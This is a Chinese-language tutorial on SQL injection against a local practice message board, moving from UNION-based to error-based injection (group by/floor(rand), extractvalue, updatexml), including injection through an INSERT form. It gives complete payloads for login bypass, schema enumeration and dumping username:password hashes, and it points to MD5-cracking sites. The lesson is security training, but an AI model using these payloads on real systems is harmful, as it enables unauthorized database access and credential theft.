SQL 注入之报错型注入漏洞 — 当页面不说话就让错误来开口上节课我们用 Union 联合查询把数据库翻了个底朝天。但问题来了——如果 Union 用不了怎么办页面没有回显位置、字段数不匹配、单引号被过滤……别慌这节课教你报错型注入让 MySQL 的错误信息变成你的情报员。课程概览1. Union 注入系统性复习与实操 2. order by 探列数 union select 定回显位 3. 数据库名 → 表名 → 字段名 → 数据七步走 4. 报错型注入入门什么时候用 5. 三大报错注入技法group by / extractvalue / updatexml 6. 报错型注入实战INSERT 留言注入 7. 作业附环境准备Python 验证码识别环境python-V# 查看 Python 版本建议 3.6 即可推荐资料xp CAPTCHA 识别https://github.com/smxiazi/NEW_xp_CAPTCHA/releases/tag/4.3xp 验证码部署教程https://www.cnblogs.com/xinghaihe/p/18415544上节课快速回顾万能密码注入 — 两种公式公式 1攻用户名URL: http://localhost/wz/login.php?usera or 1 1pass123456 输入框: 用户名 a or 1 1 密码 123456实际 SQLSELECT*FROMuserWHEREusernameaor11ANDpassword123456-- ↑ 永远为真条件被绕过公式 2攻密码URL: http://localhost/wz/login.php?userapassor11 输入框: 用户名 a 密码 or 1 1实际 SQLSELECT*FROMuserWHEREusernameaANDpasswordor11-- 假 AND 假 OR 真 真再次绕过零、靶场环境本节课需要新靶场组件说明MySQL数据库服务PhpStudy集成 Web 环境bbs留言板靶场系统jrlt.sql需要导入的数据库文件⚠️ 注意需要先导入jrlt.sql数据库才能正常使用 bbs 靶场。一、Union 注入系统性复习1.1 概念Union 查询注入是最基础的 SQL 注入技术。利用UNION关键字可以将额外的 SELECT 查询结果「纵向」拼接到原始查询结果中。简单说本来页面只返回新闻列表你用 UNION 让它同时返回用户密码——页面不觉得有什么不对但数据已经泄露了。1.2 适用条件Union 注入不是万能的需要同时满足两个条件才生效条件说明✅ 条件一页面存在注入点且有回显页面上能显示数据✅ 条件二Union 前后两个 SELECT 的列数相同对应列的数据类型兼容两样缺一不可。缺了任何一条就轮到报错型注入登场了。1.3 注入六步走Step 1: 判断是否存在注入点及注入类型 Step 2: 用 ORDER BY 探测列数 Step 3: 用 UNION SELECT 判断回显位置 Step 4: 获取数据库名 Step 5: 获取所有表名 Step 6: 获取表中的数据二、Union 注入实操bbs 靶场靶场初始化用火狐渗透版浏览器打开http://localhost/bbs/index.php注册账号derry1/123456登录后去留言两条数据访问http://localhost/bbs/showmessage.php?id12.1 判断是否有注入点http://localhost/bbs/showmessage.php?id1# 正常显示 id1 的留言http://localhost/bbs/showmessage.php?id2# 正常显示 id2 的留言http://localhost/bbs/showmessage.php?id啊# 输入乱字符页面报错判断依据更换id参数值能查询到不同数据 输入乱字符报错 →确认存在注入点。底层实际执行的 SQL 大概是SELECT*FROMmessagesWHEREid你输入的参数2.2 用 ORDER BY 探测列数ORDER BY n按第 n 列排序。如果 n 超出了实际列数数据库就会报错。这个报错正好告诉我们有几列。# 从 1 开始递增尝试http://localhost/bbs/showmessage.php?id1order by1# 正常http://localhost/bbs/showmessage.php?id1order by2# 正常http://localhost/bbs/showmessage.php?id1order by3# 正常http://localhost/bbs/showmessage.php?id1order by4# 正常http://localhost/bbs/showmessage.php?id1order by5# 报错结论order by 4 正常、order by 5 报错 → 当前查询共有4 个字段。底层 SQLSELECT*FROMmessagesWHEREid1ORDERBY5-- ↑ 第 5 列不存在报错2.3 判断回显位置现在我们知道有 4 列用UNION SELECT 1,2,3,4看看哪几列的数据会显示在网页上。http://localhost/bbs/showmessage.php?id-1 unionselect1,2,3,4关键技巧id-1让原查询返回空这样 UNION 后面的数据就不会被原数据遮挡。结果分析如果页面显示了2、3、4说明这三个位置可以用来放我们的注入语句。底层 SQLSELECT*FROMmessagesWHEREid-1UNIONSELECT1,2,3,4-- ↑ 不存在的 id原查询返回空-- ↑ 1,2,3,4 填入 4 个字段位置2.4 获取数据库名第一步获取当前数据库名http://localhost/bbs/showmessage.php?id-1 unionselect1,2,version(),database()version()返回 MySQL 版本database()返回当前使用的数据库名。结果jrlt→ 这就是当前数据库底层 SQLSELECT*FROMmessagesWHEREid-1UNIONSELECT1,2,version(),database()第二步获取所有数据库名http://localhost/bbs/showmessage.php?id-1 unionselect1,2,version(),(select group_concat(schema_name)from information_schema.schemata)或者等价写法http://localhost/bbs/showmessage.php?id-1 unionselect1,2,version(),group_concat(schema_name)from information_schema.schemata不仅能看到jrlt还能看到 MySQL 系统自带的其他数据库。2.5 获取数据库中的所有表http://localhost/bbs/showmessage.php?id-1 unionselect1,2,version(),group_concat(table_name)from information_schema.tables wheretable_schemajrlt注入点对应的 SQL-1unionselect1,2,version(),group_concat(table_name)frominformation_schema.tableswheretable_schemajrlt2.6 获取表中所有字段名http://localhost/bbs/showmessage.php?id-1 unionselect1,2,3,group_concat(column_name)from information_schema.columns wheretable_nameusersandtable_schemajrlt底层 SQLSELECT*FROMmessagesWHEREid-1UNIONSELECT1,2,3,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_nameusersANDtable_schemajrlt2.7 获取最终数据 — 用户名和密码http://localhost/bbs/showmessage.php?id-5 unionselect1,2,3,concat(name,:,password)fromuserslimit0,1注入点 SQL-5unionselect1,2,3,concat(name,:,password)fromuserslimit0,1concat(name, :, password)把用户名和密码拼成admin:21232f297a57a5a743894a0e4a801fc3这样一行字符串。结果21232f297a57a5a743894a0e4a801fc3—— 这是 MD5 加密的密码。MD5 在线解密https://cmd5.com/ 解密后是admin三、Union 注入小结步骤目的关键关键词第 1 步判断注入点输入或乱字符观察报错第 2 步探测列数ORDER BY n从 1 递增到报错第 3 步定位回显位UNION SELECT 1,2,3,…第 4 步获取数据库名database()第 5 步获取表名information_schema.tablesgroup_concat(table_name)第 6 步获取字段名information_schema.columnsgroup_concat(column_name)第 7 步获取数据concat()limit四、报错型注入系列4.1 为什么需要报错型注入Union 注入虽然好用但它有硬性条件页面必须有回显。现实中有大量场景 Union 用不了页面不直接显示查询结果比如只显示「操作成功」Union 前后列数对不上没有合适的回显位置单引号被转义或过滤这时候怎么办答案就是报错型注入。报错型注入的核心思路故意制造一个数据库错误 → 把想要的数据放在错误信息里 → 页面输出错误 → 数据到手相当于你问数据库一个问题数据库说不出来但生气地把答案写在了脸上。4.2 报错型注入的适用条件✅ 数据库存在注入点✅ 数据库会输出详细的错误信息到页面✅ Union 注入条件不满足时优先使用⚠️ 成功率和时间成本高于 Union 注入4.3 技法一group by 重复键冲突利用count()floor()rand()group by这几个函数组合产生键冲突报错在报错信息中带出数据。完整 Payloadhttp://localhost/bbs/showmessage.php?id1and(select1from(select count(*),concat(0x5e,(select version()from information_schema.tables limit0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)输入此 payload页面报错并显示 MySQL 版本号。原理拆解SELECT1FROM(SELECTcount(*),concat(0x5e,(SELECTversion()FROMinformation_schema.tablesLIMIT0,1),0x5e,floor(rand(0)*2))xFROMinformation_schema.tablesGROUPBYx)a组成部分说明SELECT 1保证外层的语法正确返回 1 为 trueFROM (…) a子查询a是别名count(*)统计分组后的记录数GROUP BY x按字段x的值分组concat(0x5e, 查询内容, 0x5e, floor(rand(0)*2))核心拼接查询内容0x5e^字符的十六进制充当分隔符floor(rand(0)*2)固定随机数每次返回 0 或 1为什么会报错rand(0)生成固定序列的随机数。在GROUP BY分组过程中MySQL 需要创建临时表来存放分组结果。插入临时表时rand(0)会再次执行产生与之前不同的值导致主键冲突。这个冲突引发的报错中恰好携带了concat()拼接的查询结果。一句话总结不用死记拿来就用改中间的查询语句即可。4.4 技法二extractvalue XPath 报错型注入extractvalue()是 MySQL 处理 XML 的函数当给它传递非法的 XPath 表达式时会报错并把错误内容显示出来。语法extractvalue(1,concat(0x5c,(SELECT查询内容),0x5c))实际注入# 获取版本号http://localhost/bbs/showmessage.php?id1and extractvalue(1, concat(0x5c,(select version()),0x5c))# 获取数据库名http://localhost/bbs/showmessage.php?id1and extractvalue(1, concat(0x5c,(select database()),0x5c))注入点 SQLid1andextractvalue(1,concat(0x5c,(selectversion()),0x5c))id1andextractvalue(1,concat(0x5c,(selectdatabase()),0x5c))底层完整 SQLSELECT*FROMmessagesWHEREid1ANDextractvalue(1,concat(0x5c,(SELECTdatabase()),0x5c))0x5c是反斜杠\的十六进制故意制造非法 XPath 使报错触发。4.5 技法三updatexml 报错型注入updatexml()和extractvalue()原理类似也是利用 MySQL 的 XML 函数制造非法参数触发报错。语法updatexml(1,concat(0x5e,(SELECT查询内容),0x5e),1)实际注入# 获取版本号http://localhost/bbs/showmessage.php?id1and updatexml(1,concat(0x5e,(select version()),0x5e),1)# 获取数据库名http://localhost/bbs/showmessage.php?id1and updatexml(1,concat(0x5e,(select database()),0x5e),1)底层 SQLSELECT*FROMmessagesWHEREid1ANDupdatexml(1,concat(0x5e,(SELECTversion()),0x5e),1)三种技法的对比技法难度稳定性推荐场景group by floor rand高中研究原理时用extractvalue低高日常首选updatexml低高extractvalue 被禁时用实用建议先试 extractvalue不行换 updatexml。group by 那套太复杂一般作为兜底方案。五、报错型注入实战INSERT 留言注入场景分析bbs 靶场除了showmessage.php这种 SELECT 注入还有一个重要入口留言功能。http://localhost/bbs/addMessage.php这是一个INSERT 语句的注入攻击位置不是 GET 参数而是留言框。源码中的 SQLINSERTINTOmessages(uname,title,content)VALUES(.$userName.,.$title.,.$content.)用户输入的内容$content会直接拼接到VALUES中。这不就是天然的注入点吗第一步思路探索 — 构造注入闭合攻击语句需要放在 VALUES 的字符串中间所以要这样闭合INSERTINTOmessages(uname,title,content)VALUES(,,or攻击语句or)在留言内容框中输入闭合的模板 or 攻击语句 or 中间的攻击语句替换成实际注入代码即可。一个简单的测试-- 在留言框输入 or a or b or c or -- 拼接后变成INSERTINTOmessages(...)VALUES(,,oraorborcor)-- 中间全是 OR永远为真 → 正常插入留言第二步用 group by 冲突获取数据库名在留言内容框中输入 or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or 拼接后的完整 SQLINSERTINTOmessages(uname,title,content)VALUES(,,or(select1from(selectcount(*),concat(0x5e,(selectdatabase()frominformation_schema.tableslimit0,1),0x5e,floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)or)页面报错并显示出数据库名第三步用 extractvalue 获取表名在留言内容框中输入 or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schemajrlt),0x5c)) or 拼接后INSERTINTOmessages(...)VALUES(,,orextractvalue(1,concat(0x5c,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schemajrlt),0x5c))or)报错信息中列出了jrlt数据库的所有表第四步用 updatexml 获取字段名在留言内容框中输入 or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_nameusers and table_schemajrlt),0x5e),1) or 拼接后INSERTINTOmessages(...)VALUES(,,orupdatexml(1,concat(0x5e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_nameusersandtable_schemajrlt),0x5e),1)or)报错信息中列出了users表的所有字段名第五步获取用户名密码 — updatexml 的 32 字符限制在留言内容框中输入 or updatexml(1,concat(0x5e,(select concat(name,:,password) from users limit 0,1),0x5e),1) or 结果只显示了e10adc3949ba59abbe56e057但完整的 MD5 是 32 位字符原因updatexml()最多只返回32 个字符。对于长字符串比如 MD5 密码需要分批截取。解决方案 — 用 substring 分批获取-- 第一批前 16 位 or updatexml(1,concat(0x5e,(select concat(name,:,substring(password,1,16)) from users limit 0,1),0x5e),1) or -- 结果e10adc3949ba59ab-- 第二批第 17 位起 or updatexml(1,concat(0x5e,(select concat(name,:,substring(password,17)) from users limit 0,1),0x5e),1) or -- 结果be56e057f20f883e拼接在一起e10adc3949ba59abbe56e057f20f883ee10adc3949ba59abbe56e057f20f883e去在线 MD5 解密站 https://www.sojson.com/encrypt_md5.html 解密 → 得到明文密码123456六、完整注入流程对比环节Union 注入报错型注入前提页面有回显 Union 列数匹配数据库输出报错信息数据库名union select database()直接显示extractvalue(1,concat(0x5c,(select database()),0x5c))报错输出表名union select group_concat(table_name)显示同上替换中间的 SQL字段名union select group_concat(column_name)显示同上替换中间的 SQL数据union select concat(name,:,password)显示同上注意updatexml32 字符上限七、课后作业Union 注入篇写出自己理解的 Union 概念、使用条件、注入步骤报错型注入什么场景下才使用报错型注入实战使用报错型注入获取 本地靶场的最终数据集用户名密码写在最后从 Union 注入到报错型注入本质上是同一个道理——让数据库执行你精心构造的 SQL。区别只在于展示方式一个有回显就光明正大地显示另一个没有回显就借错误信息偷偷带出来。下一节课我们继续深入敬请期待